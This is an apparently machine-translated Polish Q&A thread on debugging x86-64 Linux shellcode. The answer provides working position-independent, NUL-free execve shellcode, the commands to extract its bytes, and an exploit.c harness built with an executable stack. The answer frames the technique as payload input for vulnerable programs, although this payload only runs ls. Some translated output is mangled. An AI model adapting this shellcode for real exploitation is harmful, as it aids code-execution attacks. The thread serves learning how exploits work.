Shellcode: niedozwolona instrukcja
Jestem nowy w rozwoju szelkodu i nie mogę zrozumieć, dlaczego wygenerowany szelkod nie działa zgodnie z oczekiwaniami.
Kod asemblera:
Na podstawie odpowiedzi na moje poprzednie pytanie.
.section .data
cmd: .string "/bin/sh" /* command string */
hand: .string "-c" /* command arguments string */
args: .string "ls -al" /* arguments string */
argv: .quad cmd /* array of command, command arguments and arguments */
.quad hand
.quad args
.quad 0
.section .text
.globl _start
_start:
movq $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0, %rdx /* save NULL to rdx */
syscall /* make system call */
Kod testu C:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
Wynik:
Illegal instruction
Szczegóły: Kali Linux GNU / Linux i386 x86_64
Odpowiedzi
Problem z twoim kodem polega na tym, że wygenerowany ciąg powłoki nie zawiera żadnych danych. Dane zawierają wskaźniki bezwzględne, więc nie są niezależne od pozycji, więc nie zadziałałyby, gdybyś je przeniosło .texti uwzględniło. Po uruchomieniu wewnątrz innego programu, tak jak robisz to w kodzie C, program spróbuje znaleźć dane, które nie istnieją i w ustalonych lokalizacjach pamięci, które nie mają zastosowania do programu, który można wykorzystać w środku.
Myślę, że możesz mieć inny problem powodujący niezgodne z prawem instrukcje . Nie pokazujesz, jak budujesz swój program w C , ale zastanawiam się, czy jest on 32-bitowy, a twój kod powłoki jest 64-bitowy. Zaczynam myśleć, że twój program w C mógł zostać skompilowany jako program 32-bitowy, a niedozwolona instrukcja może wynikać z tego, że nie możesz niezawodnie uruchomić 64-bitowego kodu (kodu powłoki) w programie 32-bitowym. Na przykład SYSCALLinstrukcja jest nieprawidłowym kodem operacyjnym w programie 32-bitowym na procesorach innych niż AMD. To tylko przypuszczenie, przy braku dalszych szczegółów o tym, jak kompilujesz / asemblujesz / łączysz swój kod powłoki i program w C.
Będziesz musiał wygenerować kod niezależny od pozycji (PIC), aby mógł działać w dowolnym miejscu po załadowaniu na stosie. Twoje dane będą musiały zostać umieszczone w segmencie z kodem. Kod musi również unikać generowania znaku NUL (0x00), ponieważ spowodowałoby to przedwczesne zakończenie łańcucha, gdyby został podany jako dane wejściowe użytkownika do rzeczywistego programu, który można wykorzystać.
Wersja Twojego kodu, która mogłaby zostać wykorzystana do takich celów, mogłaby wyglądać następująco:
shellcode.s :
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.
.section .text
.globl _start
_start:
jmp overdata # Mix code and DATA in same segment
# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh" # Program to run
name_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c" # Program argument
arg1_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls" # Program Argument
arg2_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
overdata:
xor %eax, %eax # RAX = 0
# All references to the data before our code will use a negative offset from RIP
# and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
# in the code. We use RIP relative addressing so the code will be position
# independent once loaded in memory.
# Zero terminate each of the strings
mov %al, arg2_nul(%rip)
mov %al, arg1_nul(%rip)
mov %al, name_nul(%rip)
lea name(%rip), %rdi # RDI = pointer to program name string
push %rax # NULL terminate the program argument array
leaq arg2(%rip), %rsi
push %rsi # Push address of the 3rd program argument on stack
lea arg1(%rip), %rsi
push %rsi # Push address of the 2nd program argument on stack
push %rdi # Push address of the program name on stack as 1st arg
mov %rsp, %rsi # RSI = Pointer to the program argument array
mov %rax, %rdx # RDX = 0 = NULL envp parameter
mov $59, %al # RAX = execve system call number
syscall
Możesz wygenerować ciąg w stylu C za pomocą:
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
Powyższe hexdumppolecenie wyświetli:
\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05
Zauważysz, że nie ma \x00znaków w przeciwieństwie do twojego kodu. Możesz użyć tego ciągu bezpośrednio w programie w C , takim jak:
exploit.c :
int main(void)
{
char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
To musi zostać skompilowane i połączone z wykonywalnym stosem:
gcc -zexecstack exploit.c -o exploit
strace ./exploitwygeneruje EXECVEwywołanie systemowe podobne do:
execve („/ bin / sh”, [„/ bin / sh”, „-c”, „ls”], NULL) = 0
Uwaga : osobiście zbudowałbym ciągi programowo na stosie podobnie do kodu w innej odpowiedzi Stackoverflow, którą napisałem.